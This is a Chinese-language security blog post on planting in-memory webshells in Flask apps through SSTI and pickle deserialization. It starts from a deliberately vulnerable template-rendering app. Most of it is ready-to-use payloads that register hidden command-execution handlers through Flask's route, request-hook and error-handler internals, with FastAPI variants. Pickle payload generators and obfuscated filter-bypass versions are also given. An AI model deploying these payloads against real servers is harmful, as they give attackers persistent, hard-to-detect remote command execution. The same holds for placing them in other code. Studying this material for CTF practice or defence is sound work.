python-Flask内存马

2024/8/16 WEB flask python

前言

好久之前在各位师傅的博客里看过，语雀里一直贴着链接，这里暂且记录一下相关知识点。

概念

常用的Python框架有Django、Flask，这两者都可能存在SSTI漏洞。

Python 内存马利用Flask框架中SSTI注入来实现， Flask框架中在web应用模板渲染的过程中用到render_template_string进行渲染，但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现Python内存马的注入。

注入内存马需要我们能执行代码，经典的方式是通过SSTI，当然也可以利用pickle反序列化等。

本文基于SSTI漏洞环境为例。

Flask 请求上下文管理机制

当网页请求进入Flask时，会实例化一个Request Context。

在Python中分出了两种上下文：请求上下文(request context)、应用上下文(session context)。

一个请求上下文中封装了请求的信息，而上下文的结构是运用了一个Stack的栈结构，也就是说它拥有一个栈所拥有的全部特性。request context实例化后会被push到栈_request_ctx_stack中，基于此特性便可以通过获取栈顶元素的方法来获取当前的请求。

正文

先准备一个Flask SSTI漏洞环境：

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def home():
    person = 'guest'
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h2>Hello %s!</h2>' % person
    return render_template_string(template)


if __name__ == "__main__":
    app.run(debug=False)

debug模式下利用报错

众所周知，在flask中如果开启了debug模式，报错是会显示详细信息的，比赛中debug模式通常考点是构造pin码，但是我们这里想到，可以通过手动控制报错raise Exception()的方式来让我们的命令回显。

payload：

{{url_for.__globals__['__builtins__']['exec']("raise Exception(__import__('os').popen('whoami').read())")}}

接下来关闭debug模式，开始研究内存马。

低版本内存马

payload：

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

写成容易阅读的形式

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
        )
    ",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    })

原理分析

第一行利用url_for()函数作为入口点获取了当前命名空间的__builtins__模块,调用了eval用于执行代码。

这个eval传入了两个参数,先看第二个：

{
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }

这个参数是eval的命名空间，_request_ctx_stack是一个请求上下文栈。请求上下文是指在处理HTTP请求的过程中，Flask创建的一个临时环境，用来存储和管理与当前请求相关的信息，例如当前请求的request对象，其中就包括了HTTP请求的所有细节。

url_for.__globals__['current_app']是当前运行的app。

接下来看第一个参数，也就是执行的代码：

"app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
        )
    "

很明显，这里调用了Flask对象的add_url_rule方法，看一下源码实现

在Flask中注册路由是使用@app.route()装饰器来实现的，这里就是用了add_url_rule() 来动态的添加路由，包括了6个参数：

@setupmethod
def add_url_rule(
    self,
    rule: str,#函数对应的URL规则,满足条件和app.route()的第一个参数一样,必须以/开头；
    endpoint: str | None = None,#端点,即在使用url_for()进行反转的时候,这里传入的第一个参数就是endpoint对应的值.这个值也可以不指定,那么默认就会使用函数的名字作为endpoint的值；
    view_func: ft.RouteCallable | None = None,#URL对应的函数（注意,这里只需写函数名字而不用加括号）；
    provide_automatic_options: bool | None = None,#控制是否应自动添加选项方法.这也可以通过设置视图来控制_func.provide_automatic_options =添加规则前为False；
    **options: t.Any,#要转发到基础规则对象的选项.Werkzeug的一个变化是处理方法选项.方法是此规则应限制的方法列表（GET、POST等）.默认情况下,规则只侦听GET（并隐式地侦听HEAD）.从Flask0.6开始,通过标准请求处理隐式添加和处理选项；
) -> None:

由此可见，这个方法可以根据传入的参数动态地添加一个路由，其中我们可以指定用于处理这个路由的视图函数。在这个payload里，我们定义了一个匿名函数用于处理这个路由的请求。

lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()

为了获取我们注入的命令，我们还需要当前HTTP请求的request对象，这也就是我们一开始要获取_request_ctx_stack的原因。在这个栈里，栈顶的元素_request_ctx_stack.top自然就是我们当前请求的上下文，其中包含我们需要的request对象，于是我们就可以获取当前请求GET传参的值，进而执行我们传入的命令。

这就是旧版Flask内存马的原理。

在旧版Flask内存马中需要注意一个点就是当前app的获取，需要确实获取到当前正在运行的app，这里所用的技巧和沙箱逃逸是一致的。

sys.modules

url_for.__globals__['sys'].modules['__main__'].__dict__['app']

url_for.__globals__['sys'].modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())

pickle同理，关键是如何拿到正在运行的app。

如果直接 import app.py 来获取app是不行的，此app非彼app，添加了路由但是并不能访问到，应该是一个全新的app。

sys.modules是一个全局字典，该字典是python启动后就加载在内存中。每当程序员导入新的模块，sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入，字典sys.modules将自动记录该模块。当第二次再导入该模块时，python会直接到字典中查找，从而加快了程序运行的速度。

所以我们可以通过sys.modules拿到当前已经导入的模块，并且获取模块中的属性，由于我们最终的eval是在app.py中执行的，所以我们可以通过sys.modules['__main__']来获取当前的模块。

新版本内存马

如果我们尝试在新版Flask跑起来的web应用中用旧版的方式挂内存马就会有如下报错。

看调用栈能发现这个报错是_check_setup_finished()这个函数抛出的

意思就是这个app已经跑起来了，这个函数就不能再被调用了。调试之后发现这个方法的@setupmethod装饰器会先check一次，所以基本上是完全不能用了。

新版内存马的第一种实现方式是用before_request()装饰器或者after_request()装饰器在一个请求前/后执行自己注入的代码，进而实现挂马的操作。我们要先了解什么是装饰器

python装饰器

装饰器本质上是一个可调用的对象(函数或类), 它接收一个函数或类座位参数，并返回一个新的函数或类。这个新的函数或类通常会保留原始函数或类的功能，但会在其基础上添加一些额外的逻辑。

我们以这个路由进行测试：

@app.route('/cmd')
def cmd():
    flag = eval(request.args.get('cmd'))
    if flag :
        return "1"
    else:
        return "0"

before_request

在 Flask 中，before_request是一个装饰器，它用于在请求处理之前执行特定的函数。

这个装饰器允许对每个请求进行一些预处理，比如认证检查、日志记录、设置响应头等

我们看一下他是如何实现的

可以看到这里实际上调用的是

self.before_request_funcs.setdefault(None, []).append(f)

解释：

检查 self.before_request_funcs 字典中是否有一个键为 None 的条目。
如果没有 None 键，就在字典中创建它，并将其值设置为一个空列表。
然后，无论 None 键是否存在，都将函数 f 添加到这个列表中。

那么这个f就是我们添加的函数了，于是我们同样可以自定义一个 lambda 函数，这样在每次发起请求前就都会触发了

于是可以构造我们的payload：

__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read())

测试：

但是使用before_request()有一个问题就是，执行了之后访问所有页面都会是匿名函数返回的结果，可能会被搭便车，也会影响到主机的正常业务，也很容易被发现，使用after_request()就能避免这个问题。

after_request

和 before_request 相反，after_request会在请求结束得到响应包之后进行操作

和前面一样，唯一要注意的是这个需要定义一个返回值，不然就会报错。

payload：

app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global r;r=app.make_response(__import__('os').popen(request.args.get('cmd')).read())')==None else resp)

逐行解释这段代码

lambda resp: #传入参数
    CmdResp if request.args.get('cmd') and      #如果请求参数含有cmd则返回命令执行结果
    exec('
        global r;     #定义一个全局变量,方便获取
        r=app.make_response(__import__('os').popen(request.args.get(\'cmd\')).read())   #创建一个响应对象
    ')==None    #恒真
    else resp)  #如果请求参数没有cmd则正常返回
#这里的cmd参数名和r变量名都是可以改的

执行后就会将get传入的cmd参数作为系统命令执行,如果没有传入cmd就显示正常的界面.

简化版不带出回显,适用于过滤严格的场景

app.after_request_funcs.setdefault(None, []).append(lambda x:__import__("os").popen(request.args.get("cmd")))

Flask中的钩子函数

其实after_request()和before_request()有一个共同的分类叫钩子函数。钩子函数是指在执行函数和目标函数之间挂载的函数，框架开发者给调用方提供一个point-挂载点，至于挂载什么函数由调用方决定。

before_first_request

在对应用程序实例的第一个请求之前注册要运行的函数，只会运行一次。

before_request

在每个请求之前注册一个要运行的函数，每一次请求都会执行一次。

after_request

在每个请求之后注册一个要运行的函数，每次请求完成后都会执行。需要接收一个 Response 对象作为参数，并返回一个新的 Response 对象，或者返回接收的 Response 对象。

teardown_request

注册在每一个请求的末尾，不管是否有异常，每次请求的最后都会执行。无回显。

payload：

app.teardown_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen("calc").read())

不能调用request.args.get()动态执行传入的命令，但是可以执行注入的代码。每次刷新网页都会执行，原因是这个装饰器的触发是在请求被销毁后的，在这个时候上一个HTTP请求帧已经被销毁了，但是可以执行静态命令。

teardown_appcontext

不管是否有异常，注册的函数都会在每次请求之后执行。

flask 为上下文提供了一个teardown_appcontext钩子，使用它注册的毁掉函数会在程序上下文被销毁时调用，通常也在请求上下文被销毁时调用。

某些情况下这个函数和**@teardown_request**的行为是类似的，一个是请求上下文被销毁时被调用，另一个是应用上下文被销毁时调用。

比如你需要在每个请求处理结束后销毁数据库连接：app.teardown_appcontext 装饰器注册的回调函数需要接收异常对象作为参数，当请求被正常处理时这个参数将是None，这个函数的返回值将被忽略.

payload：

app.teardown_appcontext_funcs.append(lambda x :__import__('os').popen("calc").read())

context_processor

上下文处理器，返回的字典可以在全部的模板中使用。

template_filter(‘upper’)

增加模板过滤器，可以在模板中使用该函数，后面的参数是名称，在模板中用到。

errorhandler(400)

发生一些异常时，比如404,500，或者抛出异常(Exception)之类的，就会自动调用该钩子函数。

发生请求错误时，框架会自动调用相应的钩子函数，并向钩子函数中传入error参数
如果钩子函数没有定义error参数，就会报错
可以使用abort(http status code)函数来手动终止请求抛出异常，如果要是发生参数错误，可以abort(404)之类的

@app.errorhandler(404)
def errortest(e):
    print('error_handler(404)')
    print(e)
    return '404 Err0r'

跟进这个装饰器的底层逻辑

可以发现他给这个self.error_hander_spec这个字典里添加了一个函数，就是错误处理函数

也就是说现在的重点变成了如何控制这个code和exc_class，如果能控制这两个值，我们就可以利用错误处理的逻辑执行我们传入的函数

直接_get_exc_class_and_code(404)，这样就能返回常规的变量了。

payload：

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")

SSTI利用

考虑到上下文没有导入包的情况

注：部分flask版本下无法使用url_for.__globals__['current_app']来获取app，因此这里改用sys.modules

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

{{url_for.__globals__['__builtins__']['eval']("exec(\"global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()\")",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

针对FastAPI，不能用add_url_rule添加内存马，得用add_api_route添加内存马。

undefinded.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag',lambda:__import__('os').popen('whoami').read())")

config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("whoami").read());',{"app":app})

pickle利用

before_request：

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

after_request：

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

error_handler：

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

Bypass

在实际应用中往往都存在过滤, 因此了解如何绕过还是必要的

url_for可替换为get_flashed_messages或者request.__init__或者request.application.
代码执行函数替换, 如exec等替换eval.
字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
__globals__可用__getattribute__('__globa'+'ls__')替换.
[]可用.__getitem__()或.pop()替换.
过滤{{ }} , 可以使用 {% %} 绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
过滤了.可以采用attr()或[]绕过.
其它的手法参考SSTI绕过过滤的方法即可…

这里给出两个变形Payload:

原payload：

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

变形payload-1:

request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})

变形payload-2：

get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/shell', 'shell', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})

参考：

https://xz.aliyun.com/t/14539

https://xz.aliyun.com/t/10933

Flask内存马 | 雲流のLowest World (c1oudfl0w0.github.io)

新版FLASK下python内存马的研究 - gxngxngxn - 博客园 (cnblogs.com)

目录

LOADING

python-Flask内存马

前言

概念

Flask 请求上下文管理机制

正文

debug模式下利用报错

低版本内存马

原理分析

sys.modules

新版本内存马

before_request

after_request

Flask中的钩子函数

before_first_request

before_request

after_request

teardown_request

teardown_appcontext

context_processor

template_filter(‘upper’)

errorhandler(400)

SSTI利用

pickle利用

Bypass